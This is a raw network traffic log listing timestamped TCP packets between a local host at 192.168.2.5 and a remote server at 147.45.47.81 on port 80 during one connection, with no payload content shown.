Sep 29, 2024 09:44:15.194689989 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194694996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194729090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194762945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194777012 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194812059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194844961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194860935 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194878101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194910049 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194922924 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.194962025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.194993973 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195010900 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195027113 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195075989 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195086956 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195110083 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195142984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195158005 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195178986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195223093 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195230007 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195264101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195297956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195311069 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195331097 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195363045 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195378065 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195414066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195446014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195456982 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195478916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195512056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195527077 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195559978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195593119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195609093 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195641994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195674896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195691109 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195712090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195744991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195759058 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195779085 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195811033 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195822001 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195839882 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195888042 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195890903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195924997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195956945 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.195974112 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.195992947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196042061 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196043015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196077108 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196109056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196125984 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196142912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196171045 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196187019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196219921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196254015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196269035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196286917 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196319103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196335077 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196352005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196383953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196399927 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196418047 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196454048 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196455956 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196481943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196513891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196530104 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196547031 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196578979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196595907 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196611881 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196641922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196659088 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196675062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196707964 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196722984 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196744919 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196779013 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196796894 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196811914 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196845055 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196858883 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196880102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196912050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196926117 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.196945906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196974993 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.196993113 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197006941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197040081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197047949 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197071075 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197104931 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197117090 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197139025 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197171926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197186947 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197205067 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197237015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197252035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197268963 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197300911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197308064 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197335005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197366953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197381020 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197402000 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197433949 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197448969 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197465897 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197498083 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197513103 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197530985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197565079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197578907 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197597980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197633028 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197638988 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197664976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197699070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197709084 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197729111 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197761059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197777987 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197793961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197827101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197839022 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.197860956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197896004 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.197909117 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.238961935 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.268137932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.268187046 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.268220901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.268239021 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.268254995 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.268290997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.268307924 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.268323898 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.268359900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.268367052 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.268388987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.268445015 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.280867100 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.280925035 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.280975103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.280976057 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281008005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281043053 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281059027 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281094074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281127930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281141996 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281161070 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281193972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281199932 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281244040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281281948 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281300068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281332970 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281366110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281374931 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281398058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281433105 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281445026 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281482935 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281517029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281528950 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281548023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281582117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281591892 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281634092 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281678915 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281687021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281734943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281786919 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281793118 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281820059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281852961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281871080 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281903028 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281935930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.281946898 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.281970024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282018900 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282021046 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282051086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282083035 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282094002 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282115936 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282151937 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282159090 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282186031 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282217979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282227039 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282258034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282288074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282301903 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282325029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282352924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282371998 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282402039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282434940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282444000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282468081 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282500029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282509089 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282533884 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282584906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282593012 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282617092 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282649994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282663107 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282682896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282727003 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282736063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282768965 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282810926 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282818079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282851934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282885075 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282891035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.282917023 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282953024 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.282963991 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283001900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283046007 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283052921 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283087015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283122063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283129930 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283154011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283186913 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283195019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283216000 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283248901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283257961 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283282995 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283315897 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283324003 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283349991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283396959 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283402920 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283436060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283467054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283474922 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283499956 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283533096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283543110 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283564091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283596039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283610106 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283632040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283663988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283668995 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283698082 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283730984 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283744097 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283762932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283796072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283809900 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283828974 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283860922 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283874035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283894062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283925056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283935070 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.283957958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.283989906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284001112 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284024000 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284055948 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284066916 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284089088 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284121990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284130096 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284154892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284185886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284198046 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284235001 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284269094 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284276962 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284302950 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284337997 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284353018 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284370899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284404039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284410000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284440041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284473896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284485102 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284509897 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284543037 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284553051 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284576893 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284610033 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284620047 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284643888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284672022 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284693956 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284707069 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284740925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284748077 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284774065 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284806967 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284816980 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.284841061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284874916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.284883976 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.334692955 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.355091095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.355142117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.355176926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.355190992 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.355211973 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.355246067 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.355261087 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.355278969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.355313063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.355326891 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.355348110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.355391026 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.367763996 CEST	80	49706	147.45.47.81	192.168.2.5
